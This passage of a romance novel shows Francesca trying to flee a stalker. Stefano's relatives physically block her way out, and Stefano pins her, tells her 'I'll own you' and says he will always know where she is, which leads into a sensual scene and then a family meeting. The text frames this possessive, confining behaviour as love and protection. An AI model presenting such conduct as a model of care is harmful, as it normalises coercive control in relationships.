Francesca spent most of the morning and early afternoon looking over her shoulder and watching the traffic through the plate glass window. She was nervous and edgy, but kept her smile in place with the customers. Time went fast because it was very, very busy, so much so that they had to call in another worker in order to keep up. Pietro, normally in the back, stayed out front to work the cash register while Francesca and Aria, a young woman working part-time and going to school, took care of the customers.
Francesca ate lunch in the back room, rather than out front with the customers as she had done the day before. She was eating late, most of the day having slipped by with such a constant stream of steady customers. She was grateful to get off her feet in spite of the new, comfortable boots.
She thought a lot about her options—which weren't many. The truth was, she wanted to stay, but it wasn't fair to Pietro, who had been so kind giving her a job on Joanna's word. She knew what Barry Anthon would do first. His men would talk to Pietro and insist he fire her. They would tell him about her "mental illness," her police record of vandalism and destruction of property. If Pietro didn't listen and fire her, they would target his store.
The men would ruin Pietro's livelihood just to get to her. She couldn't allow that to happen. Stefano's hotel would be much more difficult to get to, although she was fairly certain even that wouldn't go unscathed. Barry's men had set fire to one of the apartments she resided in. She couldn't imagine having to face Stefano or his family if Anthon burned down their hotel. Barry Anthon's destruction was far-reaching. She closed her eyes and pushed her forehead into the heel of her hand. She was going to have to leave. It wasn't fair to put any of these people in Barry's path.
"Francesca? Are you all right?"
Startled, she jumped out of her seat, knocking the chair over, rocking the table so that the soothing cup of coffee she'd just poured splashed over the rim. Stefano's brother, Taviano, the one who had driven the car from her apartment to the hotel, stood watching her closely. He looked uncannily like his brother. He certainly was as still and as menacing, his blue eyes every bit as assessing and sharp as Stefano's.
"What's wrong?" he demanded. He even had the same abrupt, bossy tone.
Heart racing, she stepped back. Taviano took up the room just as Stefano did. "Nothing. You just surprised me."
Eyes on her, he reached down and picked up the overturned chair, gently setting it upright. "I brought your phone." He held it out to her.
Francesca swallowed the sudden lump in her throat. Stefano. Looking out for her. Her fingers closed around the item. She felt as if she was grabbing a lifeline.
"You're very pale. Are you certain that you're all right? I can take you home if you need to go back to the hotel."
She turned away from him with a shake of her head and a quick smile, afraid he saw too much. "I'm perfectly fine. Thank you for bringing me the phone. Your brother is very generous." She hoped he was even more so. The moment the phone was in her hand, a new plan came to her.
"He'd like you to text him. Just so he knows you've got the phone. He said to remind you to text him if you leave the store."
Those eyes never stopped watching her. She drew in a breath. "He did make that very clear. In fact, he was rather forceful about it."
That got her a smile. "I can imagine. If you need anything let one of us know. Our numbers are programmed into your phone. Emilio's and Enzo's as well."
"Thank you, this is very kind of your family."
He shrugged. "We take care of our own. Make no mistake, Francesca, you're one of us. If you have any kind of problem, you let us help."
She nodded, trying to look reassuring. "I will."
He started to turn away, but looked at her over his shoulder, a grin lighting up his face. "It's nice to see you dressed in something besides that sleeping bag. The look was good, but this one is much better."
"I suppose I'm not going to live that down."
"You suppose right," he said, and was gone, moving down the narrow hallway with the grace peculiar to the Ferraro family.
Francesca wiped up the spilled coffee and sank back down into the chair. The break room was small, much smaller than Pietro's office. She turned her chair so it was facing the door, rather than the window. She'd wanted to see out, careful to keep watch for Barry's man, but it wasn't a smart idea to have her back to the door. Anyone could sneak up on her.
She sat in silence for nearly her entire break, sipping her coffee and working up her courage. Finally, she sent Stefano the text. She needed a loan. She'd pay him back as soon as possible. The loan was significant. Three thousand dollars. Her stomach churned as she typed out the request. She hoped he wouldn't think she'd been stringing him along, biding her time, just waiting for an opportunity to get money from him. She bit down hard on her lip as she hit send before she changed her mind.
She could find more clothes at a thrift store, not take anything else from Stefano, but the money would get her out of the city and she could go somewhere completely different. She knew how to get lost on the street. She'd done it before, losing Barry's man so he wouldn't know when she boarded a bus.
She couldn't go without money. She _had_ to get a loan from Stefano. Once she was on her feet, she'd send him the money. She could work. She was a hard worker. She didn't know how Barry had found her so fast, but she would get better at hiding. She _had_ to get better. He was already breathing down her neck and she hadn't been in the city that long.
Her phone rang. She stared down at it as if it were alive. She knew who it was. She flipped it open and put it to her ear.
"Don't you dare fucking leave that store, Francesca. I mean it. Whatever is going on you _tell_ me. You don't plan to run off. I'll be there in a few minutes." He hung up abruptly, not giving her a chance to respond.
There was no greeting and no nice ending to the conversation. Stefano was not happy. She took a deep breath. He would be there soon, and he would talk her out of leaving. She knew he could persuade her because she didn't actually want to leave. She _had_ to, to protect Pietro, Joanna, and even Stefano. He might look at it as running, but she knew firsthand that Barry Anthon was capable of murder and he wouldn't hesitate if anyone got in his way.
She couldn't go out the front door. Emilio and Enzo were out there. She whirled around and started down the hall, heading toward the rear of the building. She had to leave now, before she was ready. She could have asked for her pay. Pietro would have given her cash, but she didn't dare wait one more minute. She yanked open the door and nearly ran right into Enzo.
He grinned at her. "Going somewhere, Francesca?" He blocked the exit with his body. He was solid. Impossible to move. He leaned one hip lazily against the doorjamb. "I have to tell you, sweetheart, that man of yours is in rare form. He blew up my phone with orders and promises of all kinds of pain and torture if you manage to evade me. Which you wouldn't be so mean as to try to do, right? I mean, you know Stefano. He wouldn't be in the least understanding if you slipped past me."
Francesca stepped back, because she had no choice as Enzo stepped forward. She put a defensive hand to her throat. "I'm trying to do the right thing, Enzo. I'm _protecting_ him. You have no idea of the enemies I have. I have to get out of here."
Enzo shook his head, a small smile playing on his mouth. "You're _protecting_ Stefano Ferraro. My cousin." He grinned at her. "That is so rich. Protecting _him_."
"It's not a laughing matter."
The smile faded and he tipped his head to one side. "You're serious."
"Very. I know you love him. For his sake, you have to let me go. I'll get on a bus and disappear." She wasn't certain she had enough money to get her anywhere. She still hadn't gotten a real paycheck yet.
"Honey, Stefano Ferraro isn't a man who needs protection from anyone. People need protection from him. Trust your man to take care of you. Trust our family."
She sensed movement behind her, although she didn't hear anything. Enzo lifted his gaze beyond her shoulder and she turned her head to see Emilio coming up behind her. The two men caged her in.
"Want to tell me what the hell is going on? Stefano is losing his fuckin' mind," Emilio greeted.
"Francesca here is leaving to protect Stefano from some big bad enemy she has," Enzo supplied.
Emilio stopped in his tracks, his face showing shock. "What?"
"You heard me."
Francesca had had enough. "Move, Enzo. You can't stop me."
"Honey." Enzo grinned at her. "Physics apply here. You're not up to taking me on."
"Are you shitting me?" Emilio demanded. "You're protecting Stefano."
She sighed, trying to push down the relief. She didn't want to feel relief, but she did. She was terrified of leaving. She didn't want to go back to the streets, but more, she didn't want to be alone anymore. Barry Anthon had terrorized her for so long she had forgotten what good was until she'd been with Stefano. She'd forgotten what safe felt like until she'd been with him.
"Fine. I'll go back to work, finish my shift and face his majesty when I'm off work," she capitulated.
"I think you're officially off work for the day. He's blown up my cell, Enzo's cell and Pietro's phone. I wouldn't be surprised if every single one of his brothers as well as Emmanuelle show up."
"He wouldn't go that crazy."
"Honey," Enzo said. "He did."
That didn't bode well. She followed Emilio back into the store, Enzo trailing close behind. To her shock, she recognized two of Stefano's brothers lounging by the door, as if they were draped there very casually, but there was nothing casual in their expressions when their gazes settled on her face.
Enzo took her elbow and walked her around the counter straight to Stefano's brothers. "She was protecting him," he greeted with a small grin.
Francesca rolled her eyes. "It isn't that funny."
Taviano broke into a smile. Ricco didn't, but his eyebrow shot up.
"Seriously?" Taviano asked. "This is priceless. Can't wait for him to find out."
"I'd like to know what prompted your sudden desire to make a run for it," Ricco said, "but let's take this outside. We have an audience."
Francesca was acutely aware of the silence in the store. It was packed with customers, yet no one was making purchases or conversing with a neighbor. All eyes were on her and the Ferraro brothers.
Ricco yanked open the door, lifted his chin at Pietro, took her elbow and marched her out of the store. As he did so, Stefano's Aston Martin pulled smoothly to the curb. Without missing a beat, Ricco opened the door, put a hand to the top of her head when she hesitated, forced her into the car and shut the door.
Francesca took a deep breath and turned her head to face Stefano. The atmosphere in the confines of the car was searing. She could see why. He was seething. A tendril of unease snaked down her spine. "Stefano . . ."
"Put your seat belt on." He waited, blue eyes like flames, burning a hole through her.
She was insane. She knew she was, because Stefano Ferraro was furious. His fury burned all the oxygen out of the air, but she still felt absolutely safe. Happy. Relieved. Uncaring that he might roar at her, because she knew categorically that Stefano would never lay a hand on her in anger and that he wasn't about to let her go.
She snapped the belt into place. "I'm sorry you felt you had to leave work."
"It might be best if you didn't talk while I'm driving."
She was fine with that. She knew it was a small reprieve, but she didn't care. The interior of the car was warm, and Stefano's wide shoulders and rock-hard body gave her the illusion of complete well-being. For the first time since she'd seen Barry's man draw his finger across his throat, she breathed easier.
She sat in silence, admiring the way Stefano drove—with speed, but very controlled. He drove right up to the front doors of the hotel, got out, tossed his keys to the valet and reached in for her. His grip was strong, a vise around her upper arm.
"You forgot your coat," he observed, his voice clipped. Still angry.
"I'm beginning to think you might be a little obsessed with coats, Stefano," she said, trying to lighten the mood. "You should see someone for that."
He didn't smile or loosen his grip. He went through the double glass doors, across the lobby and straight to his private elevator. The minute they stepped inside, he put a hand to her belly and pushed her against the wall, caught her wrists in his hands, pinning them against the wall on either side of her head and settled his mouth over hers.
Hot. Searching. Angry. Hungry. He poured those emotions into her, his body aggressive against hers. She took his scorching heat, not even pretending to resist. She hadn't known she'd ached for his mouth on hers ever since he'd kissed her that morning, but the moment it happened, need surged through her.
Hunger rose, sharp and terrible. Electrical sparks seemed to jump from his skin to hers. Her body reacted, going pliant, breasts aching, nipples peaking into twin, tight buds, her body slick and hot with welcome. She kissed him back, giving herself to him. Letting his mouth take command of her.
If he intended the kiss as a punishment, it quickly evolved into something altogether different. By the time the elevator reached the penthouse, her knees had gone weak and Stefano was forced to hold her up. Every single cell in her body was alive and reaching for him. He took his mouth from hers and she chased after it, lifting her face in an effort to prevent him from leaving her.
Stefano wrapped his arm around her, keeping her upright as he guided her off the elevator and into the foyer of the penthouse. "At least you know you belong to me," he snapped, anger still infusing his voice.
If he could kiss like that when he was angry, he was in for trouble, because she wouldn't mind making him _really_ angry if that was what she received every time. She pressed her fingers to her mouth and went with him into the spacious great room. It was long and wide and had several couches and chairs. He took her straight to the one in front of the fireplace and put her into it.
"Stay put."
Francesca watched him through lowered lashes as he turned on the fire, using a remote control, stalked across the room, shrugging out of his long coat and tossing it over one of the chairs before turning back to glare at her. Not just glare. She shivered. He pinned her with his piercing eyes. Seeing her. Seeing the fear she tried to hide from him. His jaw tensed, a muscle ticking there. Danger clung to his wide shoulders and defined chest. He looked both powerful and intimidating. She knew he thought the fear in her was of him, because he made a visible effort to get his anger under control.
_"Dolce cuore."_ His voice was soft. Caressing. "Don't look at me like that. I would never hurt you. Never. No matter how angry I get, you will never be a target."
She shook her head. "I know that, Stefano." She did know it. Stefano Ferraro was a man who protected women, especially one he considered his, even if it was temporary.
"Why are you afraid? What made you run?"
He didn't take his eyes from her face and she shivered again at the intensity there. She studied him. His expression gave nothing away, yet she felt as if she had hurt him. "I don't want anything to happen to you." The confession came out in a little rush, the words tumbling over one another, almost of their own volition. She wasn't certain she would have revealed so much to him if she'd thought about it, but the idea that she might have hurt Stefano with her actions was unacceptable to her.
He stood across the room from her for a long time, his blue gaze moving over her face. She twisted her fingers into the material of her skirt, bunching it into her fist. The atmosphere in the room changed, but she didn't know him well enough to read it.
"What do you think is going to happen to me, Francesca?"
She didn't understand how he could speak so low, so quietly and still convey so much intensity. She realized he was still angry, but the emotion was no longer focused completely on her. He held himself still, not making a move toward her. Her heart beat fast and hard, mostly because it felt a little like being in the same room with a lion. Any moment he could choose to bring down his prey, but he held himself aloof, waiting. Making her wait.
Francesca moistened her lips with the tip of her tongue. "Stefano, don't be angry. You would try to . . ."
He was across the room in four long strides, cutting her off, mostly because she couldn't breathe. He still reminded her of a lion, a large jungle cat, fluid and beautiful, graceful as it rushed its prey. He leaned down, his knuckles on either side of her hips. Close, so close she could feel his fingers through the thin material of her skirt.
"Stop. Talking. Bullshit."
His face was even closer than his hands, his mouth against hers. Every movement brushed her lips with his. His eyes bore into hers, stripping her bare, seeing her when she didn't think it was safe. She couldn't hide the fact that she wanted him, and there in his penthouse, with his anger pulsing in the air, that wasn't a good thing at all.
"Stefano." She thought to soothe him.
"We're past this. We talked about it and we both agreed. We're not going backward so tell me what the fuck happened to make you want to run from me."
It was a demand. Nothing less. Francesca took a deep breath, desperate for air, but drew him into her lungs instead. She felt his lips against hers, soft but firm. His lips might be the only soft part of him. Every other square inch seemed to be made from pure steel. She couldn't resist the temptation, not when he surrounded her with his scent. Not when his anger pulsed in the air, feeding the sexual tension until she was squirming with need. With a terrible hunger she barely understood.
Francesca slid her arms around Stefano's neck and pressed her mouth closer against his, moving her lips along his in little kisses, using the tip of her tongue to trace and shape the curve of his mouth. His breath stilled in his throat. His blue eyes darkened. His lashes fluttered. He had beautiful lashes, full and long and very black. His arm slid along her back and he dragged her to her feet, pulling her body into his, locking her there.
His mouth took over hers and it was nothing less than a takeover. His kiss was hard, and hot and delicious. She tasted his anger. It was there, adding even more heat. She gave herself up to his scorching temper and his intense hunger. To the dark passion that swept her up like a tidal wave.
She wanted this. She wanted him. She didn't care about consequences; she only knew that when she was with him, she felt alive. She felt as if she was home, where she belonged. More, her body felt sensual, and beautiful. That was Stefano. He made her feel those things when she never had.
Electricity arced between them, sizzled over her skin and sank into her bones. Her bloodstream turned molten, so hot she felt each separate connection running through her body. His mouth was possessive. Demanding. On fire. Taking rather than asking. That didn't matter, because she gave up everything to him.
His hands settled on her hips, almost as if he might set her aside. Francesca moved closer to him, needing to feel the strength in his body, the way his muscles rippled so elegantly beneath his clothes. She needed to touch him, his skin, to feel the heat scorching through her. Without thinking of the consequences, she jerked his shirt out of the waistband of his pants and slid her palms up his rib cage and over his chest.
His breath hitched in his throat. Hers caught in her lungs. A moan escaped her throat. A groan emerged from his lungs. His hand slid down her narrow waist to her hips, fingers bunching in her skirt while his mouth took hers again. She went up on her toes, reaching for more, drowning in his taste, in his dark passion. His hand slid over her bare thigh, up to her hip, and then down around to the inside. The feeling of the pads of his fingers was exquisite. All the while his mouth commanded hers. Taking her to places she hadn't known existed.
She needed to be closer, _much_ closer. Skin to skin. On the far wall, over his arm, she saw their shadows merge, and felt the jolt of lightning, as if she'd been struck, as if somehow their two bodies became one inside the same skin. The blaze of fire sizzled down her spine, up through her belly to her breasts. Scorching hot. Making her hungrier for him. Addicted to his taste. His scent. The feel of his hard body against the softness of hers. She'd never been more aware of herself as a woman.
Abruptly, Stefano's hands locked around her upper arms like a vise and he put her away from him. Holding her still at arm's length, breathing heavily, shaking his head. She took a step toward him. Mesmerized by him. Completely under his spell.
"No, _bambina_. We can't do this."
"Yes, we can. I want this," she whispered, once again stepping toward him.
His arms locked, holding her away from him. "No."
One word. She saw his face. Uncompromising. Without expression. She was on fire, her body not her own, but his, and yet . . . he didn't want her. She was making a fool out of herself. Never in her life had she offered herself to another man. Humiliation burned through her.
Francesca turned away from him, pressing her fingers against her mouth to still the trembling. To seal the taste and feel of him to her. He didn't want her. She'd thrown herself at him and he'd rejected her. How could she have been so stupid? She didn't have a lot of experience, but she shouldn't have convinced herself he wanted her just because she wanted him. She'd never felt more mortified in her life. She wasn't certain how to salvage the situation, or even if she could.
"Don't." His voice was low.
She didn't turn around to face him; she didn't dare. Color had swept up her neck and into her face. She took a step toward the hall, away from him, thinking to flee to her room. She had nowhere else to go and she wanted to hide. To give herself time to pull herself back together, because he'd totally unraveled her. She would have allowed him to take her right there in his great room. On the couch. The floor. It wouldn't have mattered as long as she had him. But he didn't want her.
She'd never thrown herself at a man in her life. Never. She'd never been rejected and she didn't know how to act. What to do or say. She wasn't sophisticated. She didn't run in his circles, and she didn't know the first thing about casual kissing. To her, those kisses had been anything but casual, but what did she know?
"Francesca, don't." He repeated the command softly. Imperiously. "Look at me." Another command.
She refused to face him. She shook her head and took another step, the need to flee overcoming her pride. She whirled around, thinking to run to the elevator, but he was on her before she'd taken a single step. His hands caught at her hips and he kept moving, propelling her backward as he took her straight through the wide archway to the wall in the hallway. She would have fallen over, had he not been holding her up.
Heart pounding, back to the wall, caged in by his body, she could only stand there, wishing the floor would open up and swallow her. She refused to look at his face, into his eyes. She didn't want to do this with him, listen to him try to let her down easy. That was even more humiliating.
"I want to go," she murmured softly. "You can't keep me here."
"Look at me, Francesca." It was another one of his orders. Clear. Clipped. Expecting obedience.
Her breath hissed out. She braced herself to meet his eyes because she knew she had to comply with his command. He wouldn't let her go until she did. She didn't want to see pity there. Or compassion. She slowly forced her gaze up his chest to his strong jaw, that beautiful mouth, his aristocratic nose, and finally, finally, to his amazing blue eyes. At once she couldn't look away. Captured. Held prisoner there. Right in the depth of all that blue. Her breath caught in her throat. Not pity. Definitely not pity. Desire burned there. Hot and raw. Possession. Primal and a little savage.
" _Dolce cuore_ , you're a runner. You've gotten in the habit of taking off when things get too hot. I'm not easy. I'll never be easy. I'll own you. You won't have one moment when I'm not aware of where you are and what you're doing. That's who I am. I'll always be that man. You have to be certain you're going to stick with me no matter what, because once I make you mine, once your body belongs to me, there's no taking it back. Not ever. You have to know what you're committing to."
She shook her head. "Don't say things like that, Stefano. I read the magazines and you had sex a thousand times with a thousand women. They can't all belong to you."
"It was sex, Francesca. I fucked them because I needed release and I like to fuck." He ignored her wince and continued. "I didn't bring them home. They weren't ever going to live with me. Or know me. Or know anything about me. I didn't claim them in front of my entire family or my neighborhood. None of those women belonged to me. I didn't want them for more than a few hours. We used each other—that was it."
Francesca bit down hard on the side of her lip, her heart pounding. She could barely believe what she was hearing. Somehow, she was different to him from all those other beautiful, sophisticated women? More to him than models? Heiresses? Actresses? The rich and beautiful?
"My life is fucked up, Francesca. It was from the moment I was born. I have no choice in what I do. I was born into a family business, trained for it, and have people depending on me. My life has never been my own. I've got all the money in the world, and nothing that I want. Until you. I want you. You're what I want for myself."
She curled her fingers tighter around his biceps, afraid if she didn't hold on she would fall. The things he said made her weak with desire. There was stark honesty in his voice—raw emotion on his face.
"I'm not a nice man, _bambina_. I'm never going to be that nice man. If you give yourself to me, you're entering into a world that will scare you. You'll have to trust me implicitly. Trust that always, always, before any other, I will have your back. I'll keep you safe. I'll make you happy and give you the world. It isn't going to be casual sex, Francesca. You give me your body and that's it. I won't let you take it back."
"You're scaring me." He was. The part about his life, entering his world and coming right out and saying his world would scare her, she was afraid of what that meant. He wasn't being dramatic, or embellishing; he was stating facts, she could tell.
"You should be scared. I want you to see me, Francesca. The real me. The man you will be spending your life with. No illusions. I'm ruthless and implacable. I get the job done with whatever means necessary. I keep what's mine. I want children. A family. A woman who will love those children and get up with them in the middle of the night and comfort them when they're upset. I want that woman for myself and for my children."
He had said he got up with his sister when she had nightmares and he was the one who made her hot chocolate and sat up with her. Not his mother. Stefano had done that.
"I'll try to curb the way I am and give you some room, but I know myself. You're already my world. I think about you day and night. I worry about you. You'll convince yourself that once the threat to you is over and Barry Anthon has been eliminated from your life, I'll lighten up. But I won't, _dolce cuore_ , I won't. I'll always need to know you're safe and that when I say something to you, you'll listen."
She heard the regret, the sorrow in his voice. As if she couldn't ever love him because of who he had become. What he'd been born and bred for. Whatever his life was, whatever his family business was, he wasn't giving that up. Not for her. Not for anyone. He would expect her to live with whatever it was. He would expect her to live with the rules of his world, the ones he laid down.
_I'm not easy. I'll never be easy. I'll own you. You won't have one moment when I'm not aware of where you are and what you're doing. That's who I am. I'll always be that man._ His declaration echoed through her mind. On that thought came the next—that she would always know she was safe, that her children were safe. "Safe" meant the world when you hadn't had it.
_I'm not a nice man,_ bambina _. I'm never going to be that nice man. If you give yourself to me, you're entering into a world that will scare you._ He didn't think himself a nice man, but in the next breath he told her just as honestly . . . _Trust that always, always, before any other, I will have your back. I'll keep you safe. I'll make you happy and give you the world._ He didn't understand how beautiful he was to her. How amazing that a man like him existed.
"You don't know anything about me. What I'm like. What my character is. It's impossible to want to be with me, to say I'm your world, when you don't even know me." It killed her to state the truth, because she was giving him up. And she wanted him. But it was the truth, and she wasn't going to live a lie just so she could have him.
He laughed softly, shaking his head, his gaze drifting possessively over her face. "Do you think after spending an entire lifetime knowing bad, studying bad in every form, I don't know good when I see it? I've spent thousands of hours in the company of superficial. Of shallow. All about looks. Money. Image. Grasping and greedy. That's the last thing you are."
"You can't know that, Stefano," she whispered. Her heart pounded so loud she feared he might hear it.
"Really? _Bambina._ " His fingers curled around the nape of her neck. "You gave your coat to a stranger, a woman in the street, when you needed it desperately. Joanna has money, a family, a warm house to live in. She was with you. She didn't offer her coat. Neither did anyone else walking down that street seeing Dina shivering and cold. They saw a homeless woman if they saw her at all. You saw a human being."
"But . . ."
"I gave you my coat, Francesca, with well over a thousand dollars in the pocket. How many women or men for that matter would have left that money there?"
"I bought boots." Her voice was small and color crept up her neck. Her gaze slid from his; she was ashamed at having to admit she'd taken his money and still couldn't pay it back.
His thumb slid along her jaw and then traveled to her bottom lip. He traced the soft curve, sending little shivers down her spine.
" _Bella_ , I sent my brother into the store to make certain you bought yourself shoes. That was important to me. And you took extra care of my coat. Hanging it in Pietro's office away from anyone else. You were freezing in that horrible apartment, yet instead of using the coat to keep warm, you hung it carefully."
"I thought about using it," she admitted. The floor was dirty and even after she'd scrubbed it, she didn't want his coat ever touching it.
"But you didn't, even though you should have. You didn't want anything to happen to it. It mattered to you."
It did matter more than she cared to admit to herself. She kept saying she wanted to return his coat to him. It seemed so much of a responsibility, but if she was being strictly honest with herself, she knew the truth was she wanted to wrap herself in his scent. He made her feel safe. Having his coat was a little like having a part of him. She moistened her lips, the tip of her tongue tasting the pad of his thumb. Her heart jerked and her sex clenched and went slicker, hotter. Needier.
"Stefano, if you knew the things they say about me . . ."
"The things Barry Anthon said about you? Made up about you? Manufactured evidence against you?" His voice went cold. Hard. Scary. "When you woke up from your nightmare and you told me about him . . ."
"Stop." Now her face was cherry red. She was _so_ ashamed of deliberately dragging him into her mess. "You have no idea what I did. I _manipulated_ you. I knew you were scary protective. Off-the-charts protective. I told you about Barry . . ."
"Because you were half awake and scared out of your mind. You think holding you in my arms I couldn't feel that? We're connected. I know you feel that, too. The moment you were awake enough, you backtracked."
She had. "Still, I did drag you into my nightmare. It doesn't count that I regretted it afterward. That is a terrible character flaw, to use someone because I felt so alone and tired and . . ." She broke off.
"Scared. You were scared and you needed someone."
"Not just anyone." She had to give him that much. Give him truth. "You made me feel safe for the first time in what seems forever, since my parents died, since my sister was murdered," Francesca confessed in a little whisper.
"I want you to feel safe when you're with me, _dolce cuore_. Most importantly, when you thought Anthon had found you, you decided to run to _protect_ me. In my lifetime, I can't remember another human being protecting me. I was raised to be a shield standing between harm and everyone else. I learned that from age two. You have no idea what it meant to me, knowing that you were terrified, no money, nothing at all, yet you would leave in order to protect me."
She shook her head. "Stefano, you're making me sound far better than I am."
"I knew what kind of woman I wanted in my life, for the mother of my children, and when I saw all those things in you, I knew. I knew it was you. Not to mention, the chemistry between us is off the charts. I think I mentioned to you that I like to fuck. I do. A lot. I came off a job and needed a woman desperately. I couldn't get relief because suddenly no other woman would do but you. There's only you for me. You're the woman I want under my body. You're the woman I want to see coming apart when I take you. I want to be with you in every way a man can be with his woman."
"I don't know what I'm doing."
"A little trust, _bambina_." There was a hint of amusement in his voice. "I know what I'm doing, and I'll make certain it's always good for you."
"What about being good for you? That's important to me, Stefano," she confessed.
He went still, his blue eyes darkening, intense, moving over her face with that raw possession and something else she couldn't quite name. "There it is," he said softly. "The reason I want you with every fucking breath I take."
# CHAPTER ELEVEN
Stefano's fingers tightened on the nape of Francesca's neck and he bent his head slowly toward hers. He needed her mouth. The taste of her. No matter what she said, no matter that he'd acted as if he was giving her a chance to get away from him, he knew better. He knew she was already lost. _His_. He'd never thought he'd really have a chance at finding a woman of his own, one he could love and center his world around, one who would accept him and his fucked-up life, but now that she'd stepped into his world, he knew he wasn't about to let her go.
She should have pulled away from him. He'd told her the truth about himself and hinted at his world. He'd let her know exactly what she had to look forward to with him. She should have tried again to make her escape, but instead, she lifted her face to his. Offered herself. Her eyelids drifted down, covering that sexy, slumberous look that sent scorching arrows igniting the blood in his veins.
He took her mouth. Ruthless. Merciless. A little savage even. Hungrier than he'd ever been in his life. Her lips were soft, parting for him instantly on his demand, and his tongue slipped into her mouth. Her sweet, sweet mouth. Instantly his blood rushed hotly through his veins to pool low. Brutal. He devoured her. Taking everything he could get from her and demanding more. He would never get enough of her, of the way she kissed him. Giving to him. Giving him everything. She didn't know what she was offering him. Trust. Absolute trust. Her body went boneless, melting into his, her mouth moving under the assault of his.
It didn't matter that he was wild. Rough. That he was allowing the kiss to spin out of control. She just gave and gave to him. That got to him as nothing else could have. She didn't think she had anything to offer him. He got that. She had no money, no family, nothing at all in her eyes. Yet she gave him everything because she gave him this magnificent gift—her and her trust, when she had no reason to trust anyone, least of all him.
He had never had a woman who didn't want something from him. He knew the score and he was all right with that. Francesca was . . . extraordinary. A gift. A miracle. She just gave herself to him. He was connected to her through their shadows and he knew how she felt. Frightened, bordering on terror. Still, he mattered to her. She saw him, not the Stefano the rest of the world saw, but the man inside who needed. Who didn't want to stand alone. She gave herself to that man. And God help him, he wasn't ever going to let her go, so he had to do this right. He had to give the best he could, certainly not ripping her clothes off and taking her the way his body demanded.
He drew back before it was too late, before he took her right there in the hallway on the floor. Before the roaring in his head became too loud and the need in his body took away every ounce of sense he had. Dimly, he heard the _ping_ of the elevator and instantly, even with his body on fire and his cock so damned hard and full he was afraid he might burst, he turned, blocking Francesca's body with his own, dragging his gun from his shoulder holster and tracking the elevator doors through the archway.
Ricco stepped into the foyer, followed by his other brothers, all of them, and his New York cousins. They looked grim. Determined. The truth was, he wasn't surprised to see them. He knew why they were there. Francesca represented hope to them. Already, knowing that he was claiming her, she was family to them. They took family seriously. They wanted to know what had her spooked, why she would think she had to run. More, why she would think she had to protect Stefano. He also knew that if they believed he was in danger, they would pull out all stops to ensure his safety as well as Francesca's. Any other time he would have been glad to see them, but the timing was poor.
"My brothers, _bambina_ ," he said softly, turning back to her as he slid the gun back into his holster. "And two cousins from New York." His cousins were the family investigators out of New York. "They will be asking you a few questions. If you aren't comfortable answering, look to me. I'll handle it. Understand?" Because even with his family, he would stand in front of her. Always. She didn't know that yet, but she'd learn.
"I don't understand." Francesca's eyes went from dazed and dark with need to confusion and wide with shock as she stared at the gun. "What questions? And why are you carrying a gun? Is that legal?"
He threaded his fingers through hers, his thumb sliding gently over her knuckles in a little caress. He felt her answering shiver. He could still taste her in his mouth, that particular addicting blend of Francesca's passion and innocence. He tugged until her front was tight against his side and he stepped from the hallway into the great room to greet his brothers.
"You know the family, and this is Lanz and Deangelo Rossi, my cousins. This is my woman, Francesca."
She nodded but didn't smile, clearly very confused.
He didn't tell her why they were there, that in his family, an investigator from another branch would help out when they were directly involved. He didn't want to risk questions. She wasn't ready to learn the family secrets. He needed to hook her deep, make certain she loved him enough to stay. She wasn't there yet, and he wasn't about to chance fucking his one shot with her up. He wanted the spotlight off his cousins. "Where's Emmanuelle?"
"Someone had to be the sacrificial lamb," Taviano said. "She drew the short straw." That meant she would keep Eloisa, his mother, busy while they held this meeting.
Stefano nodded. "Anyone want coffee? Wine? Something else to drink?" He led Francesca to the shorter love seat, allowing his brothers to take the larger couches or more comfortable, deep armchairs.
Vittorio was already at the bar, mixing drinks for his brothers and cousins. He served his cousins first and then flashed Francesca one of his winning smiles. "What can I get you?"
She looked up at Stefano. "Am I going to need a drink for this?"
"It might be best, _dolce cuore_ ," Stefano said. He ran his hand over the fall of soft hair tumbling around her face. "We have some questions that need answering."
Her face instantly shut down. She shook her head, her hand slipping from his. She dropped her hands to her lap, lacing her fingers together tightly. "Stefano . . ."
"It has to be done, Francesca. We need to know what we're facing. I've got my cousins looking into what happened and also into Anthon's past, but we need to hear the truth from you."
She shook her head again, glancing nervously at his cousins. They remained steadfastly silent. "How are you going to know whether or not I'm telling the truth? I told the police, the judge, my boss at the deli where I'd worked since I was sixteen, the landlords of two apartments, and in the end no one believed me except Joanna. Your brothers barely know me and your cousins don't know me at all. Why would they even consider I'd be telling the truth over him?" She made a move to stand, getting ready to flee. "I've done this too many times. I don't want to do it again."
He stood solidly in front of her, refusing to give ground, making it impossible for her to move. She subsided back onto the love seat and he sat beside her, his arm sliding along the back of the couch, fingers settling on her neck. "Red wine, or would you like something stronger? Vittorio makes a killer margarita."
She moistened her lips. He felt her body shiver and instinctively he moved closer to her until she was locked against him, thigh to thigh, her body beneath his shoulder.
"You have to trust me to take care of you through this," he said. "I know it's upsetting, but you have us now. You're not alone. Anthon may think that, and he'll make his move, but you won't be alone ever again, _bella_. You're mine. I take care of what is mine."
"Ours," Ricco corrected. _"Famiglia."_
The others nodded in a show of solidarity.
Francesca's hands trembled and Stefano put his over them, tugging until she let him pull one open palm onto his thigh. He covered her hand completely with his, pressing her palm into his muscles, holding it tight against him. She looked up at him for a long time, her gaze searching his. He knew what she saw. He wasn't a man to lie. He was hard. Cold even. Tenacious. Ruthless, and when he had an enemy, without mercy.
He knew if it was just him asking the questions, she would answer without hesitation, but her gaze continually strayed to his brothers. She was uncomfortable with them there.
"We're here to help you," Ricco reiterated. "You belong to Stefano, so that makes you belong to all of us—even our cousins. We're all family. That means something to us. Don't be afraid. We'll know the truth. Don't you, when you hear it? Haven't you always been able to tell when someone is lying to you?"
Francesca nodded. "Yes." Her voice was very low and filled with reluctance as she made the admission, as if they would think she was crazy.
"Our entire family has that ability," Ricco said. "Our cousins and our parents, an aunt and uncle as well. It's a gift we deliberately chose to develop in our family, for generations, not just us. We'll know the truth when you give it to us."
Francesca's palm pressed deeper into Stefano's thigh. She knew Ricco had given both reassurance as well as warning, but she nodded and Stefano felt some of the tension ease out of her.
"I'll have a glass of red wine. I didn't eat dinner, and I've noticed even a small amount of wine seems to affect me. I'm a lightweight, but I do enjoy the occasional glass with dinner."
"You don't eat enough," Stefano said, his voice gruff. A bit bossy and disapproving.
That earned him a flash of amusement from her vivid blue eyes, and then it was gone as she accepted the glass of wine from Vittorio. Stefano felt something move deep inside him at that intimate look. He knew it was meant for him alone. He'd never had that. Not once in his life. A woman who was exclusively his. Francesca wasn't aware of it, but she looked at him with far more trust in her eyes than he deserved. She looked at him as if the sun rose and set with him.
